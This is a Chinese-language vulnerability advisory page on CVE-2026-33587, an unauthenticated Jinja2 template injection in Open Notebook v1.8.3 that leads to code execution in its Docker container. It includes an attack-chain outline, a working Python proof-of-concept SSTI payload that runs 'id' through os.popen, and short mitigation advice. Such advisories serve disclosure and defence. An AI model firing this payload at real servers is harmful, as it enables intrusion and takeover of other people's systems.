IPBUF安全漏洞报告
English
CVE-2026-33587 CVSS 10.0 严重

CVE-2026-33587 Open Notebook SSTI远程代码执行漏洞

披露日期: 2026-05-07
来源: a6d3dc9e-0591-4a13-bce7-0f5b31ff6158

漏洞信息

漏洞编号
CVE-2026-33587
漏洞类型
服务端模板注入 (SSTI)
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open Notebook

相关标签

SSTIRCECVE-2026-33587Open NotebookDockerJinja2代码执行

漏洞概述

Open Notebook v1.8.3 版本中存在一个严重的安全漏洞,该漏洞被分配为 CVE-2026-33587,CVSS v3.1 评分为满分 10.0。其根本原因是应用程序在处理用户创建的转换功能时,未能对用户输入进行充分的清理和验证。攻击者可以利用这一缺陷,通过发送特制的恶意载荷触发服务端模板注入(SSTI)。由于无需认证且无需用户交互,远程攻击者可借此在运行 Open Notebook 的 Docker 容器中执行任意 Python 代码,并进一步执行操作系统命令。该漏洞对系统的机密性、完整性和可用性造成了极高的威胁,建议用户立即采取补救措施。

技术细节

该漏洞的核心技术原理在于 Open Notebook 的后端模板引擎在渲染用户输入时未实施沙箱隔离或输入过滤。当用户在“用户创建转换”功能中提交数据时,应用直接将其作为模板上下文的一部分进行处理。攻击者可以构造包含模板语法(如 Jinja2 语法)的恶意字符串。利用过程中,攻击者首先通过模板上下文中的对象访问 Python 的基础类,利用 `__class__`、`__mro__` 和 `__subclasses__` 等魔术方法遍历加载的模块列表,寻找危险类(如 `os._wrap_close` 或 `subprocess.Popen`)。一旦定位到可执行命令的类,攻击器即可构建 Payload 调用系统命令(如 `id`, `whoami` 或反弹 Shell)。由于 CVSS 向量包含 S:C(范围变更),利用该漏洞不仅影响应用本身,还可能导致底层 Docker 容器被完全控制,进而威胁宿主机安全或其他容器。

攻击链分析

STEP 1
侦察
攻击者通过网络扫描或资产发现,定位到互联网上暴露的 Open Notebook 应用实例。
STEP 2
漏洞利用
攻击者向“用户创建转换”接口发送包含恶意 Jinja2 模板语法的 HTTP POST 请求,利用 SSTI 漏洞欺骗服务器解析恶意代码。
STEP 3
代码执行
服务器端模板引擎解析 Payload,执行攻击者指定的 Python 代码,通过 `os` 模块调用底层系统命令。
STEP 4
权限维持与控制
成功获取容器 Shell 权限后,攻击者可进一步横向移动、窃取数据或部署后门程序,完全控制 Docker 容器环境。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://localhost:8080/api/transformations" # SSTI Payload for Jinja2 to execute 'id' command # This payload traverses subclasses to find os.popen and executes a command payload = """{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}""" # JSON data structure based on typical API requests data = { "name": "Malicious Transform", "code": payload # Injecting payload into the vulnerable field } try: response = requests.post(target_url, json=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Open Notebook v1.8.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 Open Notebook 中的“用户创建转换”功能,或从公网中下架受影响的应用实例。同时,应严格监控服务器日志,检测是否存在异常的模板解析请求或可疑的系统命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表